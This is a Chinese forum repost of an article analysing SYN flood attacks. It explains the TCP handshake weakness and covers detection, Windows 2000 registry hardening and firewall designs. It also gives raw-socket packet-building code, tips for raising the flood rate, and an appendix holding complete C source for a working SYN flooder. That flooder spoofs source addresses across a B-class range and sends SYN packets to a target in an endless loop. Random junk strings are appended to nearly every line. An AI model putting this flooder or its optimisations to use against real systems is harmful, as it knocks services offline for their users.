转载www.sp2.com.cn剖析SYN Flood攻击精华帖推荐

network · 发表于 2008-1-13 07:46:53

转载www.sp2.com.cn剖析SYN Flood攻击精华帖推荐
www.sp2.com.cn剖析SYN Flood攻击精华帖推荐剖析SYN Flood攻击 $zYfIj%
Shotgun LUuT?;DTE
一、SYN Flood的基本原理 @ UEv
　　SYN Flood是当前最流行的DoS（拒绝服务攻击）与DdoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。 mg9Ry5iG
　　要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起： QONZ cz;Jr
大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的： ~/<FLkW+>
)!\i;rmaV
　　首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号； G3zLbN%
`tm\)JL
　　第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。 zNQ.P6cG
z\.eC }
　　第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。 . L B.~p
以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。 u9fSk-D|n
　　问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。 "9MaZC"
gxRz}N;V
　　从防御角度来说，有几种简单的解决方法： I$ySX*DB
d~z=bx
　　第一种是缩短SYN Timeout时间，由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度 x SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。 /c3Sr65V?
$T$f,
　　第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被丢弃。 [jm4h,v2
aQNMhkx
　　可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。 =IvrB%?q
二、SYN Flooder源码解读 c/=sRue
　　下面我们来分析SYN Flooder的程序实现。 ,&(IN^ I6
R=ZpC;
　　首先，我们来看一下TCP报文的格式： Sq3foBX
pou](B`
　　如上图所示，一个TCP报文由三个部分构成：20字节的IP首部、20字节的TCP首部与不定长的数据段，（实际操作时可能会有可选的IP选项，这种情况下TCP首部向后顺延）由于我们只是发送一个SYN信号，并不传递任何数据，所以TCP数据段为空。TCP首部的数据结构为： @x*G+}gu
IQ/-cHh
　　根据TCP报文格式，我们定义一个结构TCP_HEADER用来存放TCP首部： w EkL'~
WyA3rVaQ
typedef struct _tcphdr "QAqc!'
　{ qdCPpPh
　　USHORT th_sport; //16位源端口 8 A=}
　　USHORT th_dport; //16位目的端口 Mq*g!WzN
　　unsigned int th_seq; //32位序列号 &Ao8MiXu
　　unsigned int th_ack; //32位确认号 KO! UXfj
　　unsigned char th_lenres; //4位首部长度+6位保留字中的4位 xf~xrO|#
　　unsigned char th_flag; //2位保留字+6位标志位 i<68P)F0}
　　USHORT th_win; //16位窗口大小 %qt+a =k"
　　USHORT th_sum; //16位校验和 _u0 +i<KU8
　　USHORT th_urp; //16位紧急数据偏移量 /PM<ny'}s9
　}TCP_HEADER; Zsf+ )>
通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2（二进制的00000010）我们能制造一个SYN的TCP报文，通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己，也为了躲避服务器的SYN Cookie检查，还需要直接对IP首部进行操作： A|^^6mX]
-H R oU}
　　同样定义一个IP_HEADER来存放IP首部： |GTI4st
*T~FS
typedef struct _iphdr tpzC=|=M*a
　{ :uijVU4
　　unsigned char h_verlen; //4位首部长度+4位IP版本号 q~})q>
　　unsigned char tos; //8位服务类型TOS i7h1s[W@_
　　unsigned short total_len; //16位总长度（字节） @qe&$EP
　　unsigned short ident; //16位标识 }G(T>=s
　　unsigned short frag_and_flags; //3位标志位 Z[$Zs
　　unsigned char ttl; //8位生存时间 TTL t1A2W]g
　　unsigned char proto; //8位协议号(TCP, UDP 或其他) zvp#l2b
　　unsigned short checksum; //16位IP首部校验和 BCkS*6
　　unsigned int sourceIP; //32位源IP地址 0c_@%`
　　unsigned int destIP; //32位目的IP地址 mW`N?=e^M
　}IP_HEADER; Ot+ d. 2
_4Y]6IS#{
　　然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); tB``c 9b;,
U\1VL5*`5
　　建立一个原始套接口，由于我们的IP源地址是伪造的，所以不能指望系统帮我们计算IP校验和，我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和： Q T=^z{
_aC$zE,m6
　　flag=TRUE; lH*!Kk6rLp
　　setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); ~KABG
/62)JE *
　　IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,然后计算整个IP首部（包括选项）的二进制反码的和，一个标准的校验和函数如下所示： oeYV)#70
7F7qyN"k
USHORT checksum(USHORT *buffer, int size) SD7V`^l=
　{ N/!W4})DG
　　unsigned long cksum=0; !?!G
　　while(size >1) VpO"0
　　　 { $iz:FF+)
　　　　　cksum+=*buffer++; E!Xk^V-
　　　　　size -=sizeof(USHORT); xsIIVX D
　　　　} t:\eM~]%a
　　if(size ) cksum += *(UCHAR*)buffer; i9J;b-E
　　cksum = (cksum >> 16) + (cksum & 0xffff); :Raz\=*
　　cksum += (cksum >>16); e{&8 ;R
　　return (USHORT)(~cksum); O/b+9T5
　} /3 6j+S
$A~i+K 3
　　这个函数并没有经过任何的优化，由于校验和函数是TCP/IP协议中被调用最多函数之一，所以一般说来，在实现TCP/IP栈时，会根据操作系统对校验和函数进行优化。 zCf:5U7z3
TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。 ]TkC"Q.r
3D{MbX
　　需要注意的是，由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和，定义如下： -VX{CqD
sop8WLF
struct "@sel`DS,
　{ - l@|"/
　　unsigned long saddr; //源地址 ^D;h"aF
　　unsigned long daddr; //目的地址 <)5nj]:f9
　　char mbz; //置空 aN['8ql,
　　char ptcl; //协议类型 0 ]ue73I
　　unsigned short tcpl; //TCP长度 *n%(u)b?
　}psd_header; HC</_g+2bq
5qv2'2vtY
　　然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和： ^9];_vSF
M2gzG{W
memcpy(SendBuf,&psd_header,sizeof(psd_header)); o@O -K^@D
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); _&{R'vS
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); {twRpep
T lE|L{Dx
　　计算IP校验和的时候不需要包括TCP伪首部： o]wS"
gN_9bEs#
memcpy(SendBuf,&ip_header,sizeof(ip_header)); rNYn7%<
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); wJ8i0iS
ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header)); Q)?[$M89/
*43IF BZ
　　再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了： 8cjfM@*-l
TexP\5W
memcpy(SendBuf,&ip_header,sizeof(ip_header)); #$qK\`vO
sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr)); RZ&x:Kq
1Mvr{0h^
　　因为整个TCP报文中的所有部分都是我们自己写入的（操作系统不会做任何干涉），所以我们可以在IP首部中放置随机的源IP地址，如果伪造的源IP地址确实有人使用，他在接收到服务器的SYN+ACK报文后会发送一个RST报文（标志位为00000100），通知服务器端不需要等待一个无效的连接，可是如果这个伪造IP并没有绑定在任何的主机上，不会有任何设备去通知主机该连接是无效的（这正是TCP协议的缺陷），主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时，服务器主机承受的负荷会相当的高，根据测试，一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文，这样的攻击力已经足以拖垮大部分WEB服务器了。 -cN9i~yV
:E@ 1r^"
　　稍微动动脑筋我们就会发现，想对SYN Flooder程序进行优化是很简单的，从程序构架来看，攻击时循环内的代码主要是进行校验和计算与缓冲区的填充，一般的思路是提高校验和计算的速度，我甚至见过用汇编代码编写的校验和函数，实际上，有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识，我们仔细研究了两个不同源地址的TCP SYN报文后发现，两个报文的大部分字段相同（比如目的地址、协议等等），只有源地址和校验和不同（如果为了隐蔽，源端口也可以有变化，但是并不影响我们算法优化的思路），如果我们事先计算好大量的源地址与校验和的对应关系表（如果其他的字段有变化也可以加入这个表），等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送（用指针来直接操作缓冲区的特定位置，从事先计算好的对应关系表中读出数据，替换缓冲区相应字段），这种简单的工作完全取决于系统发送IP包的速度，与程序的效率没有任何关系，这样，即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间，甚至可以定义一个很大的缓冲区数组，填充完毕后再发送。 Yk4!nK&Cj
_%i

z7G
第三部分 SYN Flood攻击的监测与防御初探 Y|%nWkH12
! W7 ^e
　　对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。 4cD#r*wd
L-uW>QLZ
　　一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量>500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。 z"{YK:vC
y&aJ|up`J
　　遭到SYN Flood攻击后，首先要做的是取证，通过Netstat –n –p tcp >resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问） + wJ$c!y.
'Rm3D7K
　　前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动： *hSn] C
~p s6{'{0
　　首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters #>4QOG<U:
增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2； M&R8pb U8
m9Ebt
　　增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。 0&H;63%
Foh?U{\{K
　　增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。 Z8:~g%U
K/ -dpy
　　我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。 V\zT\CHcZ
O8nJ~[]~
　　所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。 ZJu|<c/.
vmJ\&ES#
　　通过设置注册表防御SYN Flood攻击，采用的是“挨打”的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，“退让”也是一种比较有效的方法。 #)5imG }
退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。 Hn,|I9O(
$ ,ZP1I_
同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。 Ti3,>%
liyW.^1v
　　对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下所示： I>Gzr)Uox
a XRln
　　如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:） P;3t C
c%axAIu
　　工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下所示： M[8bKOX;)
i\\"J/JSv
　　客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。 I#1O:f
FQu'7iuj
　　在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示： =d(YsH)F O
<U']J9}OX
第一阶段，客户机请求与防火墙建立连接： |*Ev {#
Zi@3g5X{t
第二阶段，防火墙伪装成客户机与后台的服务器建立连接 5FscDif
4H5(r3
第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器 " cB6s0MO4
[Wlb!Y}
　　这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。 lnZ>Kik
58Ew{qX
　　近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。 )LF:`h
附录：Win2000下的SYN Flood程序 K~4W4?;I
改编自Linux下Zakath编写的SYN Flooder Yf<mt/,@
编译环境：VC++6.0,编译时需要包含ws2_32.lib 7Fj~ea
////////////////////////////////////////////////////////////////////////// 2M$M |T1z
//                            // &`EW;FGks
// SYN Flooder For Win2K by Shotgun                // R"*])RS4A
//                            // F3dxt-n1W
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath    // =d J*S*:
// THANX Lion Hook FOR PROGRAM OPTIMIZATION          // k]1[uyd H
//                            // 3& C|];p
// Released: [2001.4]                      // kd.Eo#/?
// Author: [Shotgun]                   // fk!O>R"
// Homepage:                         // uS6MVd5
// [http://IT.Xici.Net]                // /X3vU 0OqZ
// [http://WWW.Patching.Net]             // V^KnTCZXhq
//                            // I0[zaH=K
////////////////////////////////////////////////////////////////////////// 7e [(8t3
#include An-hyyN
#include RB&Q)YK6
#include W6}AK~0s
#include EY'yQ
#define SEQ 0x28376839 9Ls D#
#define SYN_DEST_IP "192.168.15.250"//被攻击的IP ;MfwZt2D
#define FAKE_IP "10.168.150.1" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段 "

XC*p@!M
#define STATUS_FAILED 0xFFFF //错误返回值 Zc}}@ew
typedef struct _iphdr //定义IP首部 6~3wb{SdJ2
{ L([& Y
unsigned char h_verlen; //4位首部长度,4位IP版本号 O7+F`vM
unsigned char tos; //8位服务类型TOS [LQQ{k65m
unsigned short total_len; //16位总长度（字节） \aF9UHAz
unsigned short ident; //16位标识 lp/z v{5
unsigned short frag_and_flags; //3位标志位 ojC3;^
unsigned char ttl; //8位生存时间 TTL @QiH :z7T
unsigned char proto; //8位协议 (TCP, UDP 或其他) j[T97A:}
unsigned short checksum; //16位IP首部校验和 4q1O
unsigned int sourceIP; //32位源IP地址 rakqU[kS 0
unsigned int destIP; //32位目的IP地址 7=e=H+>8
}IP_HEADER; ^6sahP
struct //定义TCP伪首部 IfW\.TJYw
{ .<t\ylL10
unsigned long saddr; //源地址 T@2_z<c
unsigned long daddr; //目的地址 p(A}H'wb
char mbz; kU#8, 9Tw8
char ptcl; //协议类型 TMy+V)x
unsigned short tcpl; //TCP长度 qT*N*^rFN+
}psd_header; )~q j7m
typedef struct _tcphdr //定义TCP首部 R1{~ZzxG
{ ./xe2[+IJ
USHORT th_sport; //16位源端口 KH3?QB
USHORT th_dport; //16位目的端口 ~Upv?N"
unsigned int th_seq; //32位序列号 +>>#t]@I
unsigned int th_ack; //32位确认号 YK)]mUri_
unsigned char th_lenres; //4位首部长度/6位保留字 EBbbv2R>C
unsigned char th_flag; //6位标志位 I1;"
USHORT th_win; //16位窗口大小 .h6G,xb.
USHORT th_sum; //16位校验和 YS:uhbAGq
USHORT th_urp; //16位紧急数据偏移量 1eIlq*ta
}TCP_HEADER; U~{ Pfz|
//CheckSum:计算校验和的子函数 C*PR SLn
USHORT checksum(USHORT *buffer, int size) 6%K 6%PL$V
{ v,/!,@)
unsigned long cksum=0; Mq VYMM{
while(size >1) { 4V 0 "
cksum+=*buffer++; }s. C=K
size -=sizeof(USHORT); DK aGl^6G
} }S]/P0Q
if(size ) { JlG"

6nolP
cksum += *(UCHAR*)buffer; 6h5&I4T$
} 7F2;%$YrxH
cksum = (cksum >> 16) + (cksum & 0xffff); J =*p8V7
cksum += (cksum >>16); L N;{ _2
return (USHORT)(~cksum); |P{igF f
} pO nt,NZ
// SynFlood主函数 gr a( j
int main() Ju B2 |->o
{ f5TK3M
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; -|w.o Y[cE
int TimeOut=2000,SendSEQ=0; %y-I3\bwqG
char SendBuf[128]={0}; {O@-mD}%b
char RecvBuf[65535]={0}; p]028K}B
WSADATA wsaData; }AywM&Q
SOCKET SockRaw=(SOCKET)NULL; iNJso9{
struct sockaddr_in DestAddr; `UXj1S$X
IP_HEADER ip_header; iHv_+
TCP_HEADER tcp_header; ?K0}p! %=
//初始化SOCK_RAW wb3u@
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ C &| nr\
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); $r]-x[rp!
ExitProcess(STATUS_FAILED); e@ C-f
} X>~wUb_EJ
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); =AW \
if (SockRaw==INVALID_SOCKET){ ,Z@B'MKI
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); vB,CgX`
ExitProcess(STATUS_FAILED); 8o KQ=E
} {i>tiCV
flag=TRUE; }|OIX?GB
//设置IP_HDRINCL以自己填充IP首部 $n [ze2
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); o<Q`R!gR
If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n"); E@ _ PLz
__try{ BINy.n {
//设置发送超时 00lN*c6g
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); <},B(i4oT
if(ErrorCode==SOCKET_ERROR){ (*|^9V, ~
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); F^2o&M\X '
__leave; 3 q6Z^!r
} FDtrM+2;d
memset(&DestAddr,0,sizeof(DestAddr)); /gT E3~
DestAddr.sin_family=AF_INET; G}@*,1]_
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); [SY9Z?-'
FakeIpNet=inet_addr(FAKE_IP); -p"+0.y<K
FakeIpHost=ntohl(FakeIpNet); 3D<&2M1
//填充IP首部 sc9CL]q
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); 2C)4wn4
//高四位IP版本号，低四位首部长度 {`G>k4Dm
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节） X1hrv_41L
ip_header.ident=1;    //16位标识 is}>ooL
ip_header.frag_and_flags=0;    //3位标志位 ?3@BDa1db
ip_header.ttl=128;    //8位生存时间TTL *v508Gu
ip_header.proto=IPPROTO_TCP;    //8位协议(TCP,UDP…) 0N^N?dX`z
ip_header.checksum=0;    //16位IP首部校验和 6aWE"K&H
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 S1b3-X1>
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址 g_ z^2
//填充TCP首部 +BO}{@.s
tcp_header.th_sport=htons(7000);    //源端口号 LBtYWr_
tcp_header.th_dport=htons(8080);    //目的端口号 -sR ^)1k
tcp_header.th_seq=htonl(SEQ+SendSEQ);    //SYN序列号 0Sragc[L!
tcp_header.th_ack=0;    //ACK序列号置为0 C*[ / N
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位 ?WYoje
tcp_header.th_flag=2;    //SYN 标志 C#
tcp_header.th_win=htons(16384);    //窗口大小 <k5> 4A
tcp_header.th_urp=0;    //偏移 p x^%*Hr
tcp_header.th_sum=0;    //校验和 WmungJ/
//填充TCP伪首部（用于计算校验和，并不真正发送） $&2i(>F
psd_header.saddr=ip_header.sourceIP;                //源地址 %_NWyM9{
psd_header.daddr=ip_header.destIP;                //目的地址 > p3z
psd_header.mbz=0; TMKzwvB
psd_header.ptcl=IPPROTO_TCP;                //协议类型 v"{>X3
psd_header.tcpl=htons(sizeof(tcp_header));             //TCP首部长度 (:2#sb%
while(1) { E ; u5Y
//每发送10,240个报文输出一个标示符 9HmmNMHL`
printf("."); Z$ooc9 &
for(counter=0;counter<10240;counter++){ oUmC,8>N
if(SendSEQ++==65536) SendSEQ=1;    //序列号循环 D`HFz~n9
//更改IP首部 K&Dvt
ip_header.checksum=0;    //16位IP首部校验和 Vk9DU.U
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 jc&ybkzg3
//更改TCP首部 I! cB8
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 (GW Tw$\
tcp_header.th_sum=0;    //校验和 vuZ]]Oc_
//更改TCP Pseudo Header sp!_8F"b
psd_header.saddr=ip_header.sourceIP; )I,VG&^uw
//计算TCP校验和，计算校验和时需要包括TCP pseudo header *{H pD>+
memcpy(SendBuf,&psd_header,sizeof(psd_header)); WhC%]A
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); 92e7W ac&
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); P>?*'NM
//计算IP校验和 IqR(0/+
memcpy(SendBuf,&ip_header,sizeof(ip_header)); vF_[|*9dX@
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); +ubu8a
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); :2Ji&l3et
datasize=sizeof(ip_header)+sizeof(tcp_header); .Y^'b.Z
ip_header.checksum=checksum((USHORT *)SendBuf,datasize); wQfU $V@
//填充发送缓冲区 7RHk kx
memcpy(SendBuf,&ip_header,sizeof(ip_header)); eJZu9CB
//发送TCP报文 )c@d/6dA
ErrorCode=sendto(SockRaw, \["{]5
  SendBuf, .8au$7$B
  datasize, J]-Nj,.
  0, -k6LD}
  (struct sockaddr*) &DestAddr, 1s:@KtK(/
  sizeof(DestAddr)); Vd>>@rHd
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); ;(RmgY
}//End of for +g R (
}//End of While <E{pY6K%8
}//End of try n.j;8 Md
__finally { b7D-E
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); {` Y7H76
WSACleanup(); lW+Ir>(`+
} 5^ r(D
return 0; Md]@u73t

qiangj98o · 发表于 2008-1-14 15:01:42

顶啊
这么好的东东再不顶一下的话可就说不过去了

账号		自动登录	找回密码
密码			注册

转载www.sp2.com.cn剖析SYN Flood攻击 精华帖推荐

转载www.sp2.com.cn剖析SYN Flood攻击精华帖推荐